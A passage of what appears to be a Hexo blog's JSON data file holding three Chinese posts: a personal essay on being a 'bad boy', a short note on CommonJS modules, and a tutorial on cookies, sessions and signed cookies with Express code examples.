坏,是一种生命力的体现\n他可能带着你逃单,然后给气喘吁吁的你递上一瓶水,也可能在你蹦极吓得流泪的时候一脚把你踹下去,他可能为你和别人打架被打成狗,他有着高度的想象力和执行力\n\n大部分人庸庸碌碌的过着日子,只有少部分人愿意打破自己的舒适区,去尝试一些未知的甚至是危险的事物。\n\n坏,他不意味着疯狂或是失控,更不意味着矫正,放弃原本的社会规则,或者是背离人性。刚好相反,它非常的宽容,对过往的一切能够兼容并蓄。它非常的积极,对未知的一切都能够无所畏惧\n\n## 小结\n吹嘘了这么久的自己,有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉,但我只想说,那是我脑海里追求的生活方式,从表面上体现了出来。但是坏的是表现,不是本质 \n\n我不喜欢平凡,喜欢追求自己想要的生活,即使三十年,四十年后,我也不会停下追寻的脚步,因为我知道,人的一生很短暂,你怎么样为自己的一生保留一些永恒的东西?现在的我没有背景,所以一切只能靠自己的双手去创造。\n\n> 平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求","source":"_posts/badboy.md","raw":"---\ntitle: badboy\ndate: 2017-07-30 10:29:30\ntags: [badBoy]\n---\n\n## 关于坏男人的定义\n很多人容易把坏男人很狼联系起来,事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉,好玩的天性,都充满好奇心,并且坚韧,善于适应不断变化的环境,一样的勇敢。以及根植在骨子里的忠诚\n\n> 但是往往会被冠以“狡猾” 和“危险”的名号\n\n是抽烟,逃课,打架,玩世不恭,对感情暧昧,吊儿郎当的度日子,看上去没有丝毫的进取心\n\n## 坏,是一种生命力的体现\n他可能带着你逃单,然后给气喘吁吁的你递上一瓶水,也可能在你蹦极吓得流泪的时候一脚把你踹下去,他可能为你和别人打架被打成狗,他有着高度的想象力和执行力\n\n大部分人庸庸碌碌的过着日子,只有少部分人愿意打破自己的舒适区,去尝试一些未知的甚至是危险的事物。\n\n坏,他不意味着疯狂或是失控,更不意味着矫正,放弃原本的社会规则,或者是背离人性。刚好相反,它非常的宽容,对过往的一切能够兼容并蓄。它非常的积极,对未知的一切都能够无所畏惧\n\n## 小结\n吹嘘了这么久的自己,有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉,但我只想说,那是我脑海里追求的生活方式,从表面上体现了出来。但是坏的是表现,不是本质 \n\n我不喜欢平凡,喜欢追求自己想要的生活,即使三十年,四十年后,我也不会停下追寻的脚步,因为我知道,人的一生很短暂,你怎么样为自己的一生保留一些永恒的东西?现在的我没有背景,所以一切只能靠自己的双手去创造。\n\n> 平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求","slug":"badboy","published":1,"updated":"2018-01-31T07:49:13.829Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y46000fvzqhufzi6xg9","content":"很多人容易把坏男人很狼联系起来,事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉,好玩的天性,都充满好奇心,并且坚韧,善于适应不断变化的环境,一样的勇敢。以及根植在骨子里的忠诚
\n\n\n但是往往会被冠以“狡猾” 和“危险”的名号
\n
是抽烟,逃课,打架,玩世不恭,对感情暧昧,吊儿郎当的度日子,看上去没有丝毫的进取心
\n他可能带着你逃单,然后给气喘吁吁的你递上一瓶水,也可能在你蹦极吓得流泪的时候一脚把你踹下去,他可能为你和别人打架被打成狗,他有着高度的想象力和执行力
\n大部分人庸庸碌碌的过着日子,只有少部分人愿意打破自己的舒适区,去尝试一些未知的甚至是危险的事物。
\n坏,他不意味着疯狂或是失控,更不意味着矫正,放弃原本的社会规则,或者是背离人性。刚好相反,它非常的宽容,对过往的一切能够兼容并蓄。它非常的积极,对未知的一切都能够无所畏惧
\n吹嘘了这么久的自己,有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉,但我只想说,那是我脑海里追求的生活方式,从表面上体现了出来。但是坏的是表现,不是本质
\n我不喜欢平凡,喜欢追求自己想要的生活,即使三十年,四十年后,我也不会停下追寻的脚步,因为我知道,人的一生很短暂,你怎么样为自己的一生保留一些永恒的东西?现在的我没有背景,所以一切只能靠自己的双手去创造。
\n\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求
\n
很多人容易把坏男人很狼联系起来,事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉,好玩的天性,都充满好奇心,并且坚韧,善于适应不断变化的环境,一样的勇敢。以及根植在骨子里的忠诚
\n\n\n但是往往会被冠以“狡猾” 和“危险”的名号
\n
是抽烟,逃课,打架,玩世不恭,对感情暧昧,吊儿郎当的度日子,看上去没有丝毫的进取心
\n他可能带着你逃单,然后给气喘吁吁的你递上一瓶水,也可能在你蹦极吓得流泪的时候一脚把你踹下去,他可能为你和别人打架被打成狗,他有着高度的想象力和执行力
\n大部分人庸庸碌碌的过着日子,只有少部分人愿意打破自己的舒适区,去尝试一些未知的甚至是危险的事物。
\n坏,他不意味着疯狂或是失控,更不意味着矫正,放弃原本的社会规则,或者是背离人性。刚好相反,它非常的宽容,对过往的一切能够兼容并蓄。它非常的积极,对未知的一切都能够无所畏惧
\n吹嘘了这么久的自己,有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉,但我只想说,那是我脑海里追求的生活方式,从表面上体现了出来。但是坏的是表现,不是本质
\n我不喜欢平凡,喜欢追求自己想要的生活,即使三十年,四十年后,我也不会停下追寻的脚步,因为我知道,人的一生很短暂,你怎么样为自己的一生保留一些永恒的东西?现在的我没有背景,所以一切只能靠自己的双手去创造。
\n\n\n"},{"title":"commonJS和AMD/CMD","date":"2017-08-23T08:49:51.000Z","_content":"\n## 一. CommonJS\n node.js的模块系统,就是参照CommonJS规范实现的。在CommonJS中,有一个全局性方法require(),用于加载模块。假定有一个数学模块math.js,就可以像下面这样加载。NodeJS是CommonJS规范的实现,webpack 也是以CommonJS的形式来书写。\n> var math = require('math')\n\n#### 1. 原理\n浏览器兼不兼容commonJS,在于是否缺少这几个环境变量\n* module\n* export\n* require\n* global\n\n#### 2. browsertify\n将 npm包 编译成可以被 html 页面引入的 js模块\n> 一个类似的库:browser-unpack\n","source":"_posts/commonJS和AMD-CMD.md","raw":"---\ntitle: commonJS和AMD/CMD\ndate: 2017-08-23 16:49:51\ntags: [commonjs]\ncategories: JS\n---\n\n## 一. CommonJS\n node.js的模块系统,就是参照CommonJS规范实现的。在CommonJS中,有一个全局性方法require(),用于加载模块。假定有一个数学模块math.js,就可以像下面这样加载。NodeJS是CommonJS规范的实现,webpack 也是以CommonJS的形式来书写。\n> var math = require('math')\n\n#### 1. 原理\n浏览器兼不兼容commonJS,在于是否缺少这几个环境变量\n* module\n* export\n* require\n* global\n\n#### 2. browsertify\n将 npm包 编译成可以被 html 页面引入的 js模块\n> 一个类似的库:browser-unpack\n","slug":"commonJS和AMD-CMD","published":1,"updated":"2018-01-22T06:03:10.029Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4d000gvzqhizz1xr86","content":"平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求
\n
node.js的模块系统,就是参照CommonJS规范实现的。在CommonJS中,有一个全局性方法require(),用于加载模块。假定有一个数学模块math.js,就可以像下面这样加载。NodeJS是CommonJS规范的实现,webpack 也是以CommonJS的形式来书写。
\n\n\nvar math = require(‘math’)
\n
浏览器兼不兼容commonJS,在于是否缺少这几个环境变量
\n将 npm包 编译成可以被 html 页面引入的 js模块
\n\n\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"一个类似的库:browser-unpack
\n
node.js的模块系统,就是参照CommonJS规范实现的。在CommonJS中,有一个全局性方法require(),用于加载模块。假定有一个数学模块math.js,就可以像下面这样加载。NodeJS是CommonJS规范的实现,webpack 也是以CommonJS的形式来书写。
\n\n\nvar math = require(‘math’)
\n
浏览器兼不兼容commonJS,在于是否缺少这几个环境变量
\n将 npm包 编译成可以被 html 页面引入的 js模块
\n\n\n"},{"title":"cookie和session","date":"2018-04-26T09:30:38.000Z","_content":"# 介绍\n\n## cookie\n\ncookie 是 HTTP 协议的一部分,处理分为以下几步:\n\n1. 服务器向客户端发送 cookie,一般为 name=value 形式。\n\n2. 浏览器将 cookie 储存。\n\n3. 每次请求浏览器都会将 cookie 发给服务器。\n\n### cookie 的属性\n\n```js\nres.cookie('isVisit', 1, {\n // 储存的时间\n maxAge: 10 * 1000,\n // 为 true 时只在https中生效\n secure: true,\n // 影响路径\n path: 'localhost',\n // 是否支持 js 读取,可以预防 XSS\n httpOnly: true\n})\n```\n\n> isVisit 是 key 值,1 是 value。\n\n### cookie 的弊端\n\n数据在客户端就可以被修改,数据很容易被伪造,而且数据太多会影响传输效率。\n\n## session\n\n针对 cookie 的缺点,session 解决了这些问题,session 保存在服务端,它的运作是通过 session_id 进行,这个值一般存在客户端的 cookie 中。\n\n### session 属性\n\n```js\napp.use(sessionParser({\n name: 'author',\n // 储存位置: 默认 cookie\n // store: new redisStore(),\n // 编码字符串\n secret: 'recommand 128 bytes random string',\n cookie: {\n maxAge: 60 * 1000\n },\n //每次请求都重设一个cookie\n rolling: false,\n resave: true,\n // 是指无论有没有session cookie,每次请求都设置个session cookie ,默认给个标示为 connect.sid\n saveUninitialized: false\n}))\n```\n\n### signedCookie\n\n就是签名,专业点就是 “信息摘要算法“,例如我有一些数据想存在 cookie 中,如何保证不被篡改?\n\n比如我们用 dotcom_user 字段设置了个值 jzxer, cookie值应该是:\n\n```json\n> { dotcom_user: 'jzxer' }\n```\n\n这样如果验证和更改,安全性都不是很高。\n\n我们可以这样处理,设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)\n> sha1(secrit_string + dotcom_user) === '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n\n然后把 cookie 变成这样:\n\n```json\n{\n dotcom_user: 'jzxer',\n dotcom_user.sig: '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n}\n```\n\n这样一来信息就无法伪造了,一旦更改了 cookie 中的值,就会和服务器的冲突,破解的成本也太高。\n","source":"_posts/cookie和session.md","raw":"---\ntitle: cookie和session\ndate: 2018-04-26 17:30:38\ntags: [cookie, session]\ncategories: 本地储存\n---\n# 介绍\n\n## cookie\n\ncookie 是 HTTP 协议的一部分,处理分为以下几步:\n\n1. 服务器向客户端发送 cookie,一般为 name=value 形式。\n\n2. 浏览器将 cookie 储存。\n\n3. 每次请求浏览器都会将 cookie 发给服务器。\n\n### cookie 的属性\n\n```js\nres.cookie('isVisit', 1, {\n // 储存的时间\n maxAge: 10 * 1000,\n // 为 true 时只在https中生效\n secure: true,\n // 影响路径\n path: 'localhost',\n // 是否支持 js 读取,可以预防 XSS\n httpOnly: true\n})\n```\n\n> isVisit 是 key 值,1 是 value。\n\n### cookie 的弊端\n\n数据在客户端就可以被修改,数据很容易被伪造,而且数据太多会影响传输效率。\n\n## session\n\n针对 cookie 的缺点,session 解决了这些问题,session 保存在服务端,它的运作是通过 session_id 进行,这个值一般存在客户端的 cookie 中。\n\n### session 属性\n\n```js\napp.use(sessionParser({\n name: 'author',\n // 储存位置: 默认 cookie\n // store: new redisStore(),\n // 编码字符串\n secret: 'recommand 128 bytes random string',\n cookie: {\n maxAge: 60 * 1000\n },\n //每次请求都重设一个cookie\n rolling: false,\n resave: true,\n // 是指无论有没有session cookie,每次请求都设置个session cookie ,默认给个标示为 connect.sid\n saveUninitialized: false\n}))\n```\n\n### signedCookie\n\n就是签名,专业点就是 “信息摘要算法“,例如我有一些数据想存在 cookie 中,如何保证不被篡改?\n\n比如我们用 dotcom_user 字段设置了个值 jzxer, cookie值应该是:\n\n```json\n> { dotcom_user: 'jzxer' }\n```\n\n这样如果验证和更改,安全性都不是很高。\n\n我们可以这样处理,设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)\n> sha1(secrit_string + dotcom_user) === '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n\n然后把 cookie 变成这样:\n\n```json\n{\n dotcom_user: 'jzxer',\n dotcom_user.sig: '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n}\n```\n\n这样一来信息就无法伪造了,一旦更改了 cookie 中的值,就会和服务器的冲突,破解的成本也太高。\n","slug":"cookie和session","published":1,"updated":"2018-04-26T12:18:39.549Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4i000kvzqhs58z74ay","content":"一个类似的库:browser-unpack
\n
cookie 是 HTTP 协议的一部分,处理分为以下几步:
\n服务器向客户端发送 cookie,一般为 name=value 形式。
\n浏览器将 cookie 储存。
\n每次请求浏览器都会将 cookie 发给服务器。
\nres.cookie('isVisit', 1, {\n // 储存的时间\n maxAge: 10 * 1000,\n // 为 true 时只在https中生效\n secure: true,\n // 影响路径\n path: 'localhost',\n // 是否支持 js 读取,可以预防 XSS\n httpOnly: true\n})\n
\n\n\nisVisit 是 key 值,1 是 value。
\n
数据在客户端就可以被修改,数据很容易被伪造,而且数据太多会影响传输效率。
\n针对 cookie 的缺点,session 解决了这些问题,session 保存在服务端,它的运作是通过 session_id 进行,这个值一般存在客户端的 cookie 中。
\napp.use(sessionParser({\n name: 'author',\n // 储存位置: 默认 cookie\n // store: new redisStore(),\n // 编码字符串\n secret: 'recommand 128 bytes random string',\n cookie: {\n maxAge: 60 * 1000\n },\n //每次请求都重设一个cookie\n rolling: false,\n resave: true,\n // 是指无论有没有session cookie,每次请求都设置个session cookie ,默认给个标示为 connect.sid\n saveUninitialized: false\n}))\n
\n就是签名,专业点就是 “信息摘要算法“,例如我有一些数据想存在 cookie 中,如何保证不被篡改?
\n比如我们用 dotcom_user 字段设置了个值 jzxer, cookie值应该是:
\n> { dotcom_user: 'jzxer' }\n
\n这样如果验证和更改,安全性都不是很高。
\n我们可以这样处理,设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)
\n\n\nsha1(secrit_string + dotcom_user) === ‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’
\n
然后把 cookie 变成这样:
\n{\n dotcom_user: 'jzxer',\n dotcom_user.sig: '4850a42e3bc0d39c978770392cbd8dc2923e3d1d'\n}\n
\n这样一来信息就无法伪造了,一旦更改了 cookie 中的值,就会和服务器的冲突,破解的成本也太高。
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"cookie 是 HTTP 协议的一部分,处理分为以下几步:
\n服务器向客户端发送 cookie,一般为 name=value 形式。
\n浏览器将 cookie 储存。
\n每次请求浏览器都会将 cookie 发给服务器。
\nres.cookie('isVisit', 1, {\n // 储存的时间\n maxAge: 10 * 1000,\n // 为 true 时只在https中生效\n secure: true,\n // 影响路径\n path: 'localhost',\n // 是否支持 js 读取,可以预防 XSS\n httpOnly: true\n})\n
\n\n\nisVisit 是 key 值,1 是 value。
\n
数据在客户端就可以被修改,数据很容易被伪造,而且数据太多会影响传输效率。
